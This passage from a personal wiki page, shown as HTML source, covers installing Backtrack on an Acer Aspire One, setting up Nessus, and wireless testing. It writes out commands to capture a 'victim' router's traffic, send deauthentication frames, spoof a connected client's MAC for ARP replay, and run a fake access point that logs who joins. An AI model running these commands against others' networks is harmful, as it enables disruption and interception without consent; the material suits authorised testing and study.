enabled&lt;/a&gt;&lt;/li&gt;&lt;li&gt; &lt;a href="http://wiki.eslimasec.com/esliwiki/BacktrackonAspireOnePost#CapturingpacketsfocusingononeAP"&gt;Capturing packets focusing on one AP&lt;/a&gt;&lt;/li&gt;&lt;li&gt; &lt;a href="http://wiki.eslimasec.com/esliwiki/BacktrackonAspireOnePost#Senddisasociationframestoaspecificclient.28connected.29"&gt;Send disasociation frames to a specific client (connected)&lt;/a&gt;&lt;/li&gt;&lt;li&gt; &lt;a href="http://wiki.eslimasec.com/esliwiki/BacktrackonAspireOnePost#Replayingarppackets"&gt;Replaying arp packets&lt;/a&gt;&lt;/li&gt;&lt;li&gt; &lt;a href="http://wiki.eslimasec.com/esliwiki/BacktrackonAspireOnePost#Debugginnetworktraceswithtcpdump"&gt;Debuggin network traces with tcpdump&lt;/a&gt;&lt;/li&gt;&lt;li&gt; &lt;a href="http://wiki.eslimasec.com/esliwiki/BacktrackonAspireOnePost#ConnecttoaWepprotectednetwork"&gt;Connect to a Wep protected network&lt;/a&gt;&lt;/li&gt;&lt;li&gt; &lt;a href="http://wiki.eslimasec.com/esliwiki/BacktrackonAspireOnePost#Startupafakeaccesspointtoshareyourinternetaccess"&gt;Startup a fake access point to share your internet access&lt;/a&gt;&lt;/li&gt;&lt;li&gt; &lt;a href="http://wiki.eslimasec.com/esliwiki/BacktrackonAspireOnePost#SoftwareAPwithairbase-ng"&gt;Software AP with airbase-ng&lt;/a&gt;&lt;/li&gt;&lt;li&gt; &lt;a href="http://wiki.eslimasec.com/esliwiki/BacktrackonAspireOnePost#Otherstuff"&gt;Other stuff&lt;/a&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/li&gt;&lt;li&gt; &lt;a href="http://wiki.eslimasec.com/esliwiki/BacktrackonAspireOnePost#Links"&gt;Links&lt;/a&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;span class="anchor" id="line-5"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-6"&gt;&lt;/span&gt;&lt;br /&gt;&lt;hr /&gt;&lt;div class="line874"&gt;&lt;span class="anchor" id="line-7"&gt;&lt;/span&gt; &lt;/div&gt;&lt;h3 id="InstallationonaHardDrive"&gt;Installation on a Hard Drive&lt;/h3&gt;&lt;span class="anchor" id="line-8"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;You can run  Backtrack3 from a pendrive as a live cd system without problems but you  can also copy it to your hard drive and keep the changes after every  reboot. &lt;span class="anchor" id="line-9"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-10"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="line862"&gt;To do so just follow this howto which I find great: &lt;a class="http" href="http://kin.calvin.free.fr/blog/?p=16"&gt;http://kin.calvin.free.fr/blog/?p=16&lt;/a&gt;. &lt;span class="anchor" id="line-11"&gt;&lt;/span&gt;In  my case I kept the boot loader that comes with the Linpus distro  installed originally. As you can see in my post about this netbook, Grub  has a weird behaviour when you want to boot more than one system (check  &lt;a href="http://wiki.eslimasec.com/esliwiki/AspireOnePost"&gt;AspireOnePost&lt;/a&gt;). &lt;span class="anchor" id="line-12"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-13"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="line874"&gt;Having  this in mind go to the Grub configuration file that should be on  /boot/grub/grub.conf and add the following lines after the Linpus Linux  booting parameters, I will also show the parameters for booting Windows  in case you also want to install it. Take care with the partition  numbers as they dont have to be the same as mine. &lt;span class="anchor" id="line-14"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-15"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-16"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-17"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-18"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-19"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-20"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-21"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-22"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-23"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-24"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-25"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-26"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-27"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-28"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-29"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-30"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-31"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-32"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-33"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;default=0&lt;br /&gt;timeout=5&lt;br /&gt;splashimage=(hd0,0)/boot/grub/cbg2.xpm.gz&lt;br /&gt;hiddenmenu&lt;br /&gt;&lt;br /&gt;title Linpus Linux&lt;br /&gt;        rootnoverify (hd0,0)&lt;br /&gt;        kernel /boot/bzImage ro root=LABEL=linpus vga=0x311 splash=quiet loglevel=1 console=tty1 nolapic_timer&lt;br /&gt;        initrd /boot/initrd-splash.img&lt;br /&gt;&lt;br /&gt;title Backtrack 3&lt;br /&gt;        rootnoverify (hd0,1)&lt;br /&gt;        kernel /boot/vmlinuz ro root=/dev/sda2 vga=0x0F05&lt;br /&gt;&lt;br /&gt;title Windous XP&lt;br /&gt;        root (hd0,2)&lt;br /&gt;        makeactive&lt;br /&gt;        chainloader +1&lt;/pre&gt;&lt;span class="anchor" id="line-34"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-35"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;Keep  an eye on the grub syntax ((hd0,0) refers to the first partition on the  first disk). Thus you can see how Backtrack was installed on the second  partition. &lt;span class="anchor" id="line-36"&gt;&lt;/span&gt;&lt;/div&gt;&lt;hr /&gt;&lt;div class="line874"&gt;&lt;span class="anchor" id="line-37"&gt;&lt;/span&gt; &lt;/div&gt;&lt;h3 id="InstallingNessus"&gt;Installing Nessus&lt;/h3&gt;&lt;span class="anchor" id="line-38"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;Fulfill the requirement that you are a home user you can use the Vulnerability Scanner Nessus by doing the following: &lt;span class="anchor" id="line-39"&gt;&lt;/span&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;&lt;div class="line862"&gt;Download the Nessus and &lt;a class="nonexistent" href="http://wiki.eslimasec.com/esliwiki/NessusClient"&gt;NessusClient&lt;/a&gt; Fedora Core 8 RPM’s from the Nessus website, it's important to choose the Fedora 8 binaries. &lt;span class="anchor" id="line-40"&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;Convert them to TGZ  &lt;span class="anchor" id="line-41"&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="line867"&gt;&lt;span class="anchor" id="line-42"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-43"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-44"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;rpm2tgz Nessus-3.2.x-fc8.i386.rpm&lt;br /&gt;rpm2tgz NessusClient-3.2.x-fc8.i386.rpm&lt;/pre&gt;&lt;span class="anchor" id="line-45"&gt;&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Use  the pkgtool (in that same directory where you downloaded the client and  server) to have a ncurses interface that will install those two  packages: &lt;span class="anchor" id="line-46"&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="line867"&gt;&lt;span class="anchor" id="line-47"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-48"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;pkgtool&lt;/pre&gt;&lt;span class="anchor" id="line-49"&gt;&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Configure things a bit (put the libraries where appropriate and so on): &lt;span class="anchor" id="line-50"&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="line867"&gt;&lt;span class="anchor" id="line-51"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-52"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-53"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-54"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-55"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-56"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-57"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-58"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-59"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-60"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-61"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-62"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-63"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-64"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-65"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;cd /opt/&lt;br /&gt;export PATH=$PATH:/opt/nessus/sbin:/opt/nessus/bin:&lt;br /&gt;cp /usr/lib/libssl.so /lib&lt;br /&gt;cp /usr/lib/libcrypto.so /lib&lt;br /&gt;cp /opt/nessus/lib/libnessus.so.3 /lib&lt;br /&gt;cp /opt/nessus/lib/libnessusrx.so.0 /lib&lt;br /&gt;cp /opt/nessus/lib/libpcap-nessus.so.3 /lib&lt;br /&gt;cd /lib&lt;br /&gt;ln libssl.so libssl.so.6&lt;br /&gt;ln libcrypto.so libcrypto.so.6&lt;br /&gt;&lt;br /&gt;echo "/opt/nessus/lib" &amp;gt;&amp;gt; /etc/ld.so.conf&lt;br /&gt;&lt;br /&gt;ldconfig&lt;/pre&gt;&lt;span class="anchor" id="line-66"&gt;&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Then add your users that can use Nessus (it requires authentication). &lt;span class="anchor" id="line-67"&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="line874"&gt;/opt/nessus/sbin/nessus-mkcert &lt;span class="anchor" id="line-68"&gt;&lt;/span&gt;/opt/nessus/sbin/nessus-adduser &lt;span class="anchor" id="line-69"&gt;&lt;/span&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;Finally  register Nessus and with the key that they will provide you update the  plugins this way (note: it takes some time to update all plugins). &lt;span class="anchor" id="line-70"&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="line867"&gt;&lt;span class="anchor" id="line-71"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-72"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-73"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;cd /opt/nessus/etc/nessus&lt;br /&gt;nessus-fetch  –register XXX-YYY-ZZZ-VVV&lt;/pre&gt;&lt;span class="anchor" id="line-74"&gt;&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;To run the server just type &lt;span class="anchor" id="line-75"&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="line867"&gt;&lt;span class="anchor" id="line-76"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-77"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;/opt/nessus/sbin/nessusd&lt;/pre&gt;&lt;span class="anchor" id="line-78"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;The client should be located on your Internet applications menu or in this path: &lt;span class="anchor" id="line-79"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-80"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-81"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;/opt/nessus/bin/NessusClient&lt;/pre&gt;&lt;span class="anchor" id="line-82"&gt;&lt;/span&gt;&lt;br /&gt;&lt;hr /&gt;&lt;div class="line874"&gt;&lt;span class="anchor" id="line-83"&gt;&lt;/span&gt; &lt;/div&gt;&lt;h3 id="PlayingwithWireless"&gt;Playing with Wireless&lt;/h3&gt;&lt;span class="anchor" id="line-84"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line867"&gt;&lt;/div&gt;&lt;h4 id="Firststeps"&gt;First steps&lt;/h4&gt;&lt;span class="anchor" id="line-85"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;Aspire one  comes with a nice Atheros wireless card and Backtrack3 has the drivers  needed to put the card in monitor mode (sniff) or to reinject packets.  To use all this functionality you should get used to  wlanconfig,airmon-ng, aircrack-ng and aireplay-ng tools. &lt;/div&gt;&lt;hr /&gt;&lt;div class="line874"&gt;&lt;span class="anchor" id="line-87"&gt;&lt;/span&gt; &lt;/div&gt;&lt;h4 id="Startingkismet"&gt;Starting kismet&lt;/h4&gt;&lt;span class="anchor" id="line-88"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-89"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;First you have to edit its config file and modify the follogin line: &lt;span class="anchor" id="line-90"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-91"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-92"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-93"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-94"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-95"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;vi /usr/local/etc/kismet.conf&lt;br /&gt;source=madwifi_ag,wifi0,madwifi-ng&lt;br /&gt;#afterwards just launch kismet:&lt;br /&gt;kismet&lt;/pre&gt;&lt;span class="anchor" id="line-96"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;Kismet  will create a dedicated new interface, If you are capturing packets on  certain channel with another interface kismet will make trouble and  start channel hopping on the other interfaces in use, so take care when  running kismet and for example airodump-ng. &lt;span class="anchor" id="line-97"&gt;&lt;/span&gt;&lt;/div&gt;&lt;hr /&gt;&lt;div class="line874"&gt;&lt;span class="anchor" id="line-98"&gt;&lt;/span&gt; &lt;/div&gt;&lt;h4 id="Createanewinterfacewithmonitormodeenabled"&gt;Create a new interface with monitor mode enabled&lt;/h4&gt;&lt;span class="anchor" id="line-99"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line867"&gt;&lt;span class="anchor" id="line-100"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-101"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-102"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;airmon-ng stop ath0&lt;br /&gt;airmon-ng start wifi0&lt;/pre&gt;&lt;span class="anchor" id="line-103"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-104"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line867"&gt;&lt;/div&gt;&lt;h4 id="CapturingpacketsfocusingononeAP"&gt;Capturing packets focusing on one AP&lt;/h4&gt;&lt;span class="anchor" id="line-105"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line867"&gt;&lt;span class="anchor" id="line-106"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-107"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;airodump-ng --bssid &amp;lt;victim_router_mac&amp;gt; -c &amp;lt;channel_used_by_victim_router&amp;gt; -w &amp;lt;file&amp;gt; &amp;lt;wireless_iface&amp;gt;&lt;/pre&gt;&lt;span class="anchor" id="line-108"&gt;&lt;/span&gt;&lt;br /&gt;&lt;hr /&gt;&lt;div class="line874"&gt;&lt;span class="anchor" id="line-109"&gt;&lt;/span&gt; &lt;/div&gt;&lt;h4 id="Senddisasociationframestoaspecificclient.28connected.29"&gt;Send disasociation frames to a specific client (connected)&lt;/h4&gt;&lt;span class="anchor" id="line-110"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line867"&gt;&lt;span class="anchor" id="line-111"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-112"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;aireplay-ng -0 5 -e &amp;lt;ESSID&amp;gt; -a &amp;lt;router_mac&amp;gt; -c &amp;lt;connected_client_mac&amp;gt; &amp;lt;wifi_iface&amp;gt;&lt;/pre&gt;&lt;span class="anchor" id="line-113"&gt;&lt;/span&gt;&lt;br /&gt;&lt;hr /&gt;&lt;div class="line874"&gt;&lt;span class="anchor" id="line-114"&gt;&lt;/span&gt; &lt;/div&gt;&lt;h4 id="Replayingarppackets"&gt;Replaying arp packets&lt;/h4&gt;&lt;span class="anchor" id="line-115"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-116"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;In  order for the replay to be effective you have to be associated with de  ap, you can achieve this by issuing, where fake mac is the mac of an  already connected user. Otherwise if you are replaying packets of a non  associated client the AP will discard them. &lt;span class="anchor" id="line-117"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-118"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-119"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;aireplay-ng -1 30 -e '&amp;lt;ESSID&amp;gt;' -a &amp;lt;BSSID&amp;gt; -h &amp;lt;Fake MAC&amp;gt; ath0&lt;/pre&gt;&lt;span class="anchor" id="line-120"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;Some APs like this format of association &lt;span class="anchor" id="line-121"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-122"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-123"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;aireplay-ng -1 6000 -o 1 -q 10 -e '&amp;lt;ESSID&amp;gt;' -a &amp;lt;BSSID&amp;gt; -h &amp;lt;Fake MAC&amp;gt; ath0&lt;/pre&gt;&lt;span class="anchor" id="line-124"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;Where: &lt;span class="anchor" id="line-125"&gt;&lt;/span&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;6000 - Reauthenticate every 6000 secs &lt;span class="anchor" id="line-126"&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;-o  1 - Send only one type of packet each time, by default different types  of association frames are sent that could mislead the AP. &lt;span class="anchor" id="line-127"&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;div class="line862"&gt;-q 10 - Send keepalive packets every 10 secs. keepalive &amp;lt;&amp;gt; reauthentication &lt;span class="anchor" id="line-128"&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;&lt;hr /&gt;&lt;div class="line874"&gt;&lt;span class="anchor" id="line-129"&gt;&lt;/span&gt; &lt;/div&gt;&lt;h4 id="Debugginnetworktraceswithtcpdump"&gt;Debuggin network traces with tcpdump&lt;/h4&gt;&lt;span class="anchor" id="line-130"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line867"&gt;&lt;span class="anchor" id="line-131"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-132"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-133"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-134"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-135"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;tcpdump -n -e -s0 -vvv -i &amp;lt;iface&amp;gt;&lt;br /&gt;&lt;br /&gt;11:04:34.360700 314us BSSID:00:14:6c:7e:40:80 DA:00:0f:b5:46:11:19 SA:00:14:6c:7e:&lt;br /&gt;40:80 DeAuthentication: Class 3 frame received from nonassociated station&lt;/pre&gt;&lt;span class="anchor" id="line-136"&gt;&lt;/span&gt;&lt;br /&gt;&lt;hr /&gt;&lt;div class="line874"&gt;&lt;span class="anchor" id="line-137"&gt;&lt;/span&gt; &lt;/div&gt;&lt;h4 id="ConnecttoaWepprotectednetwork"&gt;Connect to a Wep protected network&lt;/h4&gt;&lt;span class="anchor" id="line-138"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line867"&gt;&lt;span class="anchor" id="line-139"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-140"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-141"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;iwconfig ath0 key &amp;lt;s:ASCII string of key&amp;gt; essid &amp;lt;essid&amp;gt;&lt;br /&gt;dhclient ath0&lt;/pre&gt;&lt;span class="anchor" id="line-142"&gt;&lt;/span&gt;&lt;br /&gt;&lt;hr /&gt;&lt;div class="line874"&gt;&lt;span class="anchor" id="line-143"&gt;&lt;/span&gt; &lt;/div&gt;&lt;h4 id="Startupafakeaccesspointtoshareyourinternetaccess"&gt;Startup a fake access point to share your internet access&lt;/h4&gt;&lt;span class="anchor" id="line-144"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;Modify it for your needs (networks, essid, ips, gw, etc). &lt;span class="anchor" id="line-145"&gt;&lt;/span&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;LAN == ETH0 (ethernet) &lt;span class="anchor" id="line-146"&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;WAN == ATH0 (wireless) &lt;span class="anchor" id="line-147"&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;10.0.0.0/24 == ATH0 LAN &lt;span class="anchor" id="line-148"&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;192.168.1.0/24 == ETH0 LAN &lt;span class="anchor" id="line-149"&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;192.168.1.1 == ETH0 GATEWAY &lt;span class="anchor" id="line-150"&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;10.0.0.1 == ATH0 GATEWAY (the Aspire one) &lt;span class="anchor" id="line-151"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-152"&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="line867"&gt;&lt;b&gt;Note:&lt;/b&gt;  from Backtrack 4 release wlanconfig command to put the wireless card in  master or ap mode won't work as by default it will load ath5k driver  which doess not support ioctl calls. You can still manage to get a fake  ap by using airbase-ng script. Otherwise install by hand the madwifi  ath_pci driver &lt;a class="http" href="http://forums.remote-exploit.org/backtrack-4-non-working-hardware/24348-atheros-ar5007eg-ath_pci-error.html"&gt;http://forums.remote-exploit.org/backtrack-4-non-working-hardware/24348-atheros-ar5007eg-ath_pci-error.html&lt;/a&gt; &lt;span class="anchor" id="line-153"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-154"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-155"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-156"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-157"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-158"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-159"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-160"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-161"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-162"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-163"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-164"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-165"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-166"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-167"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-168"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-169"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-170"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-171"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-172"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-173"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-174"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-175"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-176"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-177"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-178"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;IPT="/usr/sbin/iptables"&lt;br /&gt;WAN="eth0"&lt;br /&gt;LAN="ath0"&lt;br /&gt;&lt;br /&gt;#wifi stuff&lt;br /&gt;echo "destroying atheros ifaces"&lt;br /&gt;wlanconfig ath1 destroy&lt;br /&gt;wlanconfig ath0 destroy&lt;br /&gt;echo "creating ath0 as a master device"&lt;br /&gt;wlanconfig ath0 create wlandev wifi0 wlanmode master&lt;br /&gt;sleep 2&lt;br /&gt;iwconfig ath0 essid HOME&lt;br /&gt;echo "configuring IPs and default route"&lt;br /&gt;ifconfig ath0 10.0.0.1 netmask 255.255.255.0 up&lt;br /&gt;ifconfig eth0 192.168.1.111 netmask 255.255.255.0 up&lt;br /&gt;route add default gw 192.168.1.1&lt;br /&gt;echo "starting dhcp"&lt;br /&gt;/etc/rc.d/rc.dhcpd start&lt;br /&gt;echo "enabling forwarding"&lt;br /&gt;echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;echo "stablishing IPtables nat rules"&lt;br /&gt;$IPT -t nat -A POSTROUTING -o $WAN -j MASQUERADE&lt;/pre&gt;&lt;span class="anchor" id="line-179"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;The dhcp server config I used is the following &lt;span class="anchor" id="line-180"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-181"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-182"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-183"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-184"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-185"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-186"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-187"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-188"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-189"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-190"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-191"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-192"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-193"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-194"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-195"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-196"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-197"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-198"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;bt ~ # cat /etc/dhcpd.conf&lt;br /&gt;option domain-name-servers 4.2.2.2;&lt;br /&gt;&lt;br /&gt;default-lease-time 60;&lt;br /&gt;max-lease-time 72;&lt;br /&gt;&lt;br /&gt;ddns-update-style none;&lt;br /&gt;&lt;br /&gt;authoritative;&lt;br /&gt;&lt;br /&gt;log-facility local7;&lt;br /&gt;&lt;br /&gt;subnet 10.0.0.0 netmask 255.255.255.0 {&lt;br /&gt;  range 10.0.0.100 10.0.0.254;&lt;br /&gt;  option routers 10.0.0.1;&lt;br /&gt;  option domain-name-servers 4.2.2.2;&lt;br /&gt;}&lt;/pre&gt;&lt;span class="anchor" id="line-199"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;As you can see I used the local7 facility that I will dump to a separate file I will monitor to check when I have dear guests: &lt;span class="anchor" id="line-200"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-201"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-202"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-203"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-204"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-205"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-206"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-207"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-208"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-209"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-210"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-211"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-212"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-213"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;bt ~ # cat /etc/syslog.conf&lt;br /&gt;# /etc/syslog.conf&lt;br /&gt;# For info about the format of this file, see "man syslog.conf"&lt;br /&gt;# and /usr&lt;br /&gt;...&lt;br /&gt;...&lt;br /&gt;....&lt;br /&gt;&lt;br /&gt;#&lt;br /&gt;#DHCP LOGS&lt;br /&gt;#&lt;br /&gt;local7.*                                                -/var/log/dhcp.log&lt;/pre&gt;&lt;span class="anchor" id="line-214"&gt;&lt;/span&gt;&lt;br /&gt;&lt;hr /&gt;&lt;div class="line874"&gt;&lt;span class="anchor" id="line-215"&gt;&lt;/span&gt; &lt;/div&gt;&lt;h4 id="SoftwareAPwithairbase-ng"&gt;Software AP with airbase-ng&lt;/h4&gt;&lt;span class="anchor" id="line-216"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;Airbase-ng  aim is to respond to any probe packet from connecting clients, we can  use it to start a fake AP that listens to one essid at a time. Maybe  this can be useful to do when you just run backtrack 4 final on aspire  one and you see that wlanconfig suite of commands do not work. &lt;span class="anchor" id="line-217"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-218"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-219"&gt;&lt;/span&gt;&lt;span class="anchor" 